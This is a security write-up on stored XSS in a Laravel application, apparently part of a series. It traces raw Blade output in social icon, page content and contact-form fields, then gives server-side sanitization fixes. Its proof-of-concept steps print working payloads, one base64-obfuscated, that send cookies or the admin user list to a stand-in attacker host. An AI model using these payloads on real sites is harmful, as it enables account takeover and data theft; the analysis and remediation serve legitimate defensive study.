Stored XSS in Laravel: No Account Needed When the Sink Is the Admin's Own Session

Where This Sits in the Kill Chain

This attack diverges from the server-side escalation path. Posts 1 through 6 are about gaining deeper access to the server itself. This post is about turning admin panel access into an attack on every user who visits the site.

For the facode and page_content vectors, the prerequisite is an admin account. ArtisanBreach has two paths to that: Post 1 (mass assignment lets you register as admin directly) and Post 3 (type juggling bypasses the admin credential check). Either one gets you here. An attacker who exploited either path could have deployed persistent XSS immediately and been silently collecting user sessions the entire time Posts 3 through 7 were being worked through.

The contact-form vector skips that prerequisite entirely. It doesn't need Post 1 or Post 3 because it targets the admin session directly: a payload planted through the public /contact form fires inside an admin's browser the moment they open /admin/contacts, which hands the attacker a live admin session without ever registering an account. In kill-chain terms, it's a third, credential-free path to the same "admin access" state that Posts 1 and 3 exist to reach.

The diagram shows Post 7 (this post) branching from both Post 1 and Post 3 because both give admin access. The main server-side escalation continues on its own path toward Post 14. XSS is a parallel attack that runs against users, not the server. The contact-form vector isn't drawn here because it doesn't depend on any prior post: it's a standalone entry point that lands an attacker in the same place Posts 1 and 3 do, an authenticated admin session, without requiring either.

Vulnerability Classification

How {!! !!} Works in Blade

Laravel's Blade templating engine gives you two ways to output a variable:

{{ $variable }}

{!! $variable !!}

The double-brace syntax calls PHP's htmlspecialchars() on the value before outputting it. < becomes <, > becomes >, and so on. A stored <script> tag is rendered as visible text, not executed as HTML. The double-bang syntax outputs the raw string. Whatever is in the database goes into the HTML response as-is.

Raw output exists because some content is legitimately HTML, but that only holds while the value in the database is trusted. The instant attacker-controlled bytes can reach a {!! !!}, the template has handed the browser a loaded script tag. That is exactly what happens here, on five separate render points.

The footer renders two pieces of site-wide content using two different syntaxes:

{{-- Social media icon HTML: raw output --}}
<a target="_blank" class="" href="{{ $social->link }}">
    {!! $social->facode !!}
</a>

{{-- Copyright text: safe escaped output --}}
<p class="mb-md-0 text-center text-md-left text-white">
    &copy; {{ date('Y') }} - {{ $settings->copyright }}
</p>

The copyright field is safe because the developer used {{ }}. The facode field is dangerous because the developer used {!! !!}. Both fields are saved without server-side sanitization. The only protection for copyright is that the template escapes it at render time. For facode, that protection is absent.

Three Layers of Failure

Three separate layers each fail to sanitize. Any one of them could have stopped it. None do.

$('#summernote').summernote({
    // ...
    codeviewFilter: false, // Disable filtering in code view to allow HTML/JS without sanitizing
    codeviewIframeFilter: true, // Enable iframe content filtering for code view
    codeviewFilterRegex: /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, // Sanitize scripts in code view
    // ...
    codeviewEditable: true,// Allow direct editing in code view mode
  });

private function createPage(): Page
{
    return Page::create([
        'title'          => $this->title,
        'slug'           => $this->slug,
        'meta_description' => $this->meta_description,
        'page_content'   => $this->page_content,  // stored as-is
        'container_type' => $this->container_type,
        'status'         => $this->status,
    ]);
}

public function updatePage()
{
    $this->validate([
        'title'         => 'required',
        'slug'          => 'required|unique:pages,slug,'.$this->pageInstance->id,
        'meta_description' => 'sometimes',
        'page_content'  => 'sometimes',       // "sometimes" means "anything goes"
        'status'        => 'required|in:draft,published',
    ]);

    $this->pageInstance->update([
        'title'         => $this->title,
        'slug'          => $this->slug,
        'meta_description' => $this->meta_description,
        'page_content'  => $this->page_content,  // also stored as-is
        'container_type' => $this->container_type,
        'status'         => $this->status,
    ]);
}

public function store_media()
{
    $this->validate(['link' => 'required', 'facode' => 'required']);

    Social::create([
        'link'   => $this->link,
        'facode' => $this->facode,  // stored verbatim, zero sanitization
    ]);
}

public function updateSocialMediaItem($id)
{
    $index = array_search($id, array_column($this->socialMediaLinks, 'id'));
    if ($index !== false) {
        $social = Social::find($id);
        if ($social) {
            $social->link   = $this->socialMediaLinks[$index]['link'];
            $social->facode = $this->socialMediaLinks[$index]['facode'];
            $social->save();  // update path also has zero sanitization
        }
    }
}

{{-- Rendered on every page that includes the footer --}}
<a target="_blank" class="" href="{{ $social->link }}">
    {!! $social->facode !!}
</a>

{{-- Rendered on individual pages --}}
<section class="page-content">
    <div class="container">
        {!! $page_content !!}
    </div>
</section>

{{-- Also renders page_content via raw output --}}
@if($page_content)
    {!! $page_content !!}
@endif

{{-- Renders inside /admin/settings itself, not just the public site --}}
<a target="_blank" href="{{ $social['link'] }}" class="btn btn-social-icon btn-social-icon-lg btn-twitter">
    {!! $social['facode'] !!}
</a>

The Site-Wide Vector: Social Media facode

The facode field is the highest-impact vector because it affects every page. The intended input is a Font Awesome icon tag:

<i class="fab fa-github"></i>

The field accepts free text. The only server-side validation is that the value is not empty ('facode' => 'required'). An attacker with admin access replaces the icon markup with a payload:

<i class="fab fa-github" onmouseover="fetch('https://attacker.tld/c?s='+btoa(document.cookie),{mode:'no-cors'})"></i>

This value is stored verbatim. Every page serves it inside the footer's icon wrapper. When any user hovers over the social icon, the payload fires. For a version that fires on page load without any user interaction:

<i class="fab fa-github"></i><img src=x onerror="fetch('https://attacker.tld/c?s='+btoa(document.cookie),{mode:'no-cors'})" style="display:none">

The hidden <img> with a broken src fires onerror automatically when the browser tries to load it. The user does nothing. Every page load silently exfiltrates.

The WYSIWYG Bypass: Page Content Editor

Page content is edited through Summernote's WYSIWYG interface. The editor has a "code view" mode that lets the user edit raw HTML directly. With codeviewEditable: true in the config, the code view textarea is freely editable. Step-by-step:

<p>Normal page content.</p>
<img src=x onerror="document.location='https://attacker.tld/steal?s='+document.cookie" style="display:none">

The Summernote onChange callback fires and syncs the raw HTML content to the Livewire component via @this.set('page_content', contents). The request goes to PageCreate::createPage() or PageEdit::updatePage(). Neither does any HTML processing. The <img> tag with the onerror handler is saved to the pages.page_content column exactly as typed. Validation rule is 'sometimes'. That means "the field can be absent from the request." It does not mean "validate the shape of the content." There is no content validation at all.

The Unauthenticated Vector: Contact Form Message

Every vector above assumes the attacker already has an admin account. The contact form doesn't make that assumption. /contact sits outside the /admin route group entirely: no auth middleware, no can:isAdmin gate, open to anyone.

Route::get('/contact', \App\Livewire\Front\ContactPageComponent::class)->name('contact');

The submit handler validates presence and type, nothing about content:

protected $rules = [
    'page_id' => 'required',
    'formData.name' => 'required|string',
    'formData.email' => 'required|email',
    'formData.phone' => 'sometimes|string',
    'formData.message' => 'required|string',  // string is not the same as safe
];

public function submitContact()
{
    $this->validate();

    $contact_form_data = [
        'name' => $this->formData['name'],
        'email' => $this->formData['email'],
        'phone' => $this->formData['phone'],
        'message' => $this->formData['message'],
    ];

    Contact::create([
        'page_id' => $this->page_id,
        'contact_data' => $contact_form_data,  // JSON-cast, stored verbatim
    ]);
    // ...
}

Contact::$casts = ['contact_data' => 'array'], so whatever is typed into the message field round-trips through JSON encode/decode unmodified. It lands in contacts.contact_data exactly as submitted, HTML and all.

The only person who ever sees it is an admin, on the one page built to review submissions, and that page renders it raw:

<td>{{ $contact->contact_data['name'] ?? 'N/A' }}</td>
<td>{{ $contact->contact_data['email'] ?? 'N/A' }}</td>
<td>{{ $contact->contact_data['phone'] ?? 'N/A' }}</td>
<td>{!! $contact->contact_data['message'] ?? 'N/A' !!}</td>

name, email, and phone use {{ }} and are safe. message, one column over in the same table row, uses {!! !!}. There is no WYSIWYG editor here, no code-view toggle to bypass, no client-side filter to defeat. It's a plain <textarea> on a public form, one missing pair of exclamation marks in the admin view, and a direct line into an admin's authenticated session. The email notification that fires alongside the database insert escapes the message correctly ({{ $contact['message'] }}), so the email is not the sink; the admin review page is.

HttpOnly Won't Save You

The payloads above use document.cookie, so a lazy reviewer might point at the HttpOnly flag and call it fixed. Don't. The session cookie here is HttpOnly (SESSION_HTTP_ONLY is unset, and Laravel defaults it to true), which only means JavaScript cannot read it. What document.cookie does hand you is the XSRF-TOKEN cookie, which Laravel deliberately sets readable so the frontend can use it. But that token is a distraction. The real payload does not need to steal anything.

Stored XSS runs inside the victim's own authenticated session. The browser already holds the session cookie and sends it automatically on every same-origin request. So instead of trying to exfiltrate a cookie that is locked down, the payload just asks the app for the data the admin can see, as the admin:

<img src=x onerror="fetch('/admin/users',{credentials:'same-origin'}).then(r=>r.text()).then(h=>fetch('https://attacker.tld/x?d='+btoa(h),{mode:'no-cors'}))" style="display:none">

One line. It fetches the admin user list (emails, names, role ids, the lot) from the victim's own session and ships the rendered HTML to your server. No cookie needed, no token needed, because the request is made by the victim's browser with the victim's identity. HttpOnly protects the cookie from being read; it does nothing about the cookie being used, and here the victim's browser is doing the using on your behalf.

If you need to write rather than read, the XSRF-TOKEN cookie is right there for the taking, and Livewire ships its own CSRF token in the page. Point a fetch at any admin action with the token in the header and you can mutate state as the victim. Reading is the demo; writing is the payoff.

Impact: What the Payload Can Do Once It Fires

Proof of Concept

Prerequisites: Admin account (Post 1 or Post 3)

Steps:

1. Log in and navigate to /admin/settings
2. Locate a social media link entry (add a new one if none exist)
3. Set the "Icon HTML" field to the payload below
4. Save

<i class="fab fa-github"></i><img src=x onerror="fetch('/admin/users',{credentials:'same-origin'}).then(r=>r.text()).then(h=>fetch('https://attacker.tld/x?d='+btoa(h),{mode:'no-cors'}))" style="display:none">

The payload fires on every page for every visitor, and it also fires the moment any admin opens /admin/settings, because that page renders facode raw too. The base64-encoded HTML of the admin user list is sent to your collection endpoint. The original icon still renders; the payload is visually invisible.

Prerequisites: Admin account with page editing access

Steps:

1. Navigate to /admin/page/{id}/edit
2. Click the code view (</>) button in the Summernote toolbar
3. Append to the HTML in the code view textarea:

<img src=x onerror="eval(atob('ZmV0Y2goJy9hZG1pbi91c2Vycycse2NyZWRlbnRpYWxzOidzYW1lLW9yaWdpbid9KS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGg9PmZldGNoKCdodHRwczovL2F0dGFja2VyLnRsZC94P2Q9JytidG9hKGgpLHttb2RlOiduby1jb3JzJ30pKQ=='))" style="display:none">
<!-- base64 decodes to: fetch('/admin/users',{credentials:'same-origin'}).then(r=>r.text()).then(h=>fetch('https://attacker.tld/x?d='+btoa(h),{mode:'no-cors'})) -->

4. Switch back to visual mode or submit the form

The base64-encoded payload bypasses any superficial string-matching on the content. The eval(atob(...)) pattern decodes and executes it client-side. The payload is stored in the database and fires for every visitor to the affected page.

Prerequisites: None. No account of any kind.

Steps:

1. Open an incognito/private browser window (to prove no session exists) and navigate to /contact
2. Fill in name, email, and phone with anything valid
3. Set the message field to the payload below
4. Submit

<img src=x onerror="fetch('/admin/users',{credentials:'same-origin'}).then(r=>r.text()).then(h=>fetch('https://attacker.tld/y?d='+btoa(h),{mode:'no-cors'}))" style="display:none">

Nothing happens on submit; the visitor just sees "Message Sent." The payload sits in contacts.contact_data until an admin opens /admin/contacts to triage submissions. The moment that page renders, the hidden <img> fails to load, onerror fires, and the admin's authenticated session drains the user list to your server. From there, the attacker has a live admin session and can proceed exactly as if they'd completed Post 1 or Post 3, without ever having done either.

Remediation

The root cause is that attacker-controlled HTML reaches the database unsanitized. The fix is a single reusable sanitizer service, wired into every save path that persists admin-submitted HTML, so no future field can skip it by accident.

PHP's most widely used allowlist-based HTML sanitizer is ezyang/htmlpurifier. It is not currently a dependency of this project:

composer require ezyang/htmlpurifier

page_content, facode, and the contact form's message field all need different allowlists: page_content is genuine rich text (links, images, headings), facode is meant to be a single <i class="..."> tag, and message is plain text that should carry no HTML at all. One shared class with three profiles keeps every call site correct without duplicating HTMLPurifier config:

<?php

namespace App\Services;

use HTMLPurifier;
use HTMLPurifier_Config;

class HtmlSanitizer
{
    public function sanitizePageContent(string $html): string
    {
        return $this->purify($html, 'p,br,strong,em,ul,ol,li,a[href],img[src|alt|width|height],h2,h3,h4');
    }

    public function sanitizeIcon(string $html): string
    {
        return $this->purify($html, 'i[class]');
    }

    public function sanitizePlainText(string $html): string
    {
        return $this->purify($html, '');
    }

    private function purify(string $html, string $allowed): string
    {
        $config = HTMLPurifier_Config::createDefault();
        $config->set('HTML.Allowed', $allowed);
        $config->set('Cache.SerializerPath', storage_path('app/htmlpurifier'));

        return (new HTMLPurifier($config))->purify($html);
    }
}

No constructor arguments, so Laravel resolves it automatically wherever it's type-hinted, the same way App\Services\PluginManager is already resolved elsewhere in this app. The Cache.SerializerPath line matters: HTMLPurifier writes an internal definition cache on first run, and without a writable path it will try to write inside vendor/, which fails on most deployments. Pointing it at storage/app/htmlpurifier uses a directory Laravel already controls.

Livewire 3 resolves type-hinted parameters on action methods through the container before passing along any caller-supplied arguments, the same way a controller method gets its dependencies. That means no manual new HtmlSanitizer() anywhere. Six call sites persist page_content, facode, or a raw contact message today, and each needs one line (or a reordered signature) added immediately before the value is saved:

use App\Services\HtmlSanitizer; // add to the existing use block

public function store(HtmlSanitizer $sanitizer)
{
    $this->validate();
    $this->page_content = $sanitizer->sanitizePageContent($this->page_content);

    $page = $this->createPage();
    // ...

use App\Services\HtmlSanitizer; // add to the existing use block

public function updatePage(HtmlSanitizer $sanitizer)
{
    $this->validate([ /* ...unchanged... */ ]);
    $this->page_content = $sanitizer->sanitizePageContent($this->page_content);

    $this->pageInstance->update([
        // ...

use App\Services\HtmlSanitizer; // add to the existing use block

public function updateHome(HtmlSanitizer $sanitizer)
{
    $this->validate([ /* ...unchanged... */ ]);
    $this->page_content = $sanitizer->sanitizePageContent($this->page_content);

    $this->homeData->update([
        // ...

HomeIndex is easy to miss: HomeCreate and HomeEdit look like the obvious place to check but are unused stubs. HomeIndex::updateHome() is the component that actually feeds {!! $page_content !!} on the homepage.

use App\Services\HtmlSanitizer; // add to the existing use block

public function store_media(HtmlSanitizer $sanitizer)
{
    $this->validate(['link' => 'required', 'facode' => 'required']);

    Social::create([
        'link'   => $this->link,
        'facode' => $sanitizer->sanitizeIcon($this->facode),
    ]);
    // ...
}

public function updateSocialMediaItem(HtmlSanitizer $sanitizer, $id)
{
    $index = array_search($id, array_column($this->socialMediaLinks, 'id'));
    if ($index !== false) {
        $social = Social::find($id);
        if ($social) {
            $social->link   = $this->socialMediaLinks[$index]['link'];
            $social->facode = $sanitizer->sanitizeIcon($this->socialMediaLinks[$index]['facode']);
            $social->save();
        }
    }
}

use App\Services\HtmlSanitizer; // add to the existing use block

public function submitContact(HtmlSanitizer $sanitizer)
{
    $this->validate();

    $contact_form_data = [
        'name'    => $this->formData['name'],
        'email'   => $this->formData['email'],
        'phone'   => $this->formData['phone'],
        'message' => $sanitizer->sanitizePlainText($this->formData['message']),
    ];

    Contact::create([
        'page_id'      => $this->page_id,
        'contact_data' => $contact_form_data,
    ]);
    // ...

Note the reordered signature on updateSocialMediaItem(): the container-resolved HtmlSanitizer comes first, then the caller-supplied $id, matching Livewire's action-injection convention. With all six call sites wired, an attacker-submitted <img src=x onerror="..."> comes back as a harmless <img src="x"> for page content, is stripped to nothing for facode since img was never on that profile's allowlist, and is stripped to nothing for a contact message too, since sanitizePlainText() allows no tags at all. The {!! !!} in admin/contacts/index.blade.php can stay exactly as it is; it's only dangerous because of what currently reaches it, not because raw output is inherently wrong here.

Font Awesome icons do not need to be stored as raw HTML. Store only the CSS class string (fab fa-github) and construct the tag in the template:

{{-- Store: "fab fa-github" --}}
{{-- Render: --}}
<i class="{{ $social->facode }}"></i>

The {{ }} syntax HTML-encodes the class string before output. There is no HTML in the database to inject. This completely eliminates the stored XSS vector for social icons without any sanitization library required.

Change codeviewFilter: false to codeviewFilter: true. This re-enables Summernote's sanitization pipeline. The existing regex only covers <script> tags; update it to also strip event handler attributes using a broader pattern, or switch to a dedicated library like DOMPurify on the client side:

// In the Summernote config, replace codeviewFilter: false with:
codeviewFilter: true,
codeviewFilterRegex: new RegExp(
    // Remove <script> tags
    '<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>' +
    // Remove event handler attributes (on*)
    '|\\bon\\w+\\s*=\\s*["\'][^"\']*["\']' +
    '|\\bon\\w+\\s*=\\s*[^\\s>]+',
    'gi'
  ),

Note that client-side filtering is a defense-in-depth measure, not a primary defense. A motivated attacker submitting requests directly (bypassing the browser and the editor entirely) will not be stopped by JavaScript-based filtering. Server-side sanitization (Fix 1) must always be present.

Remediation Checklist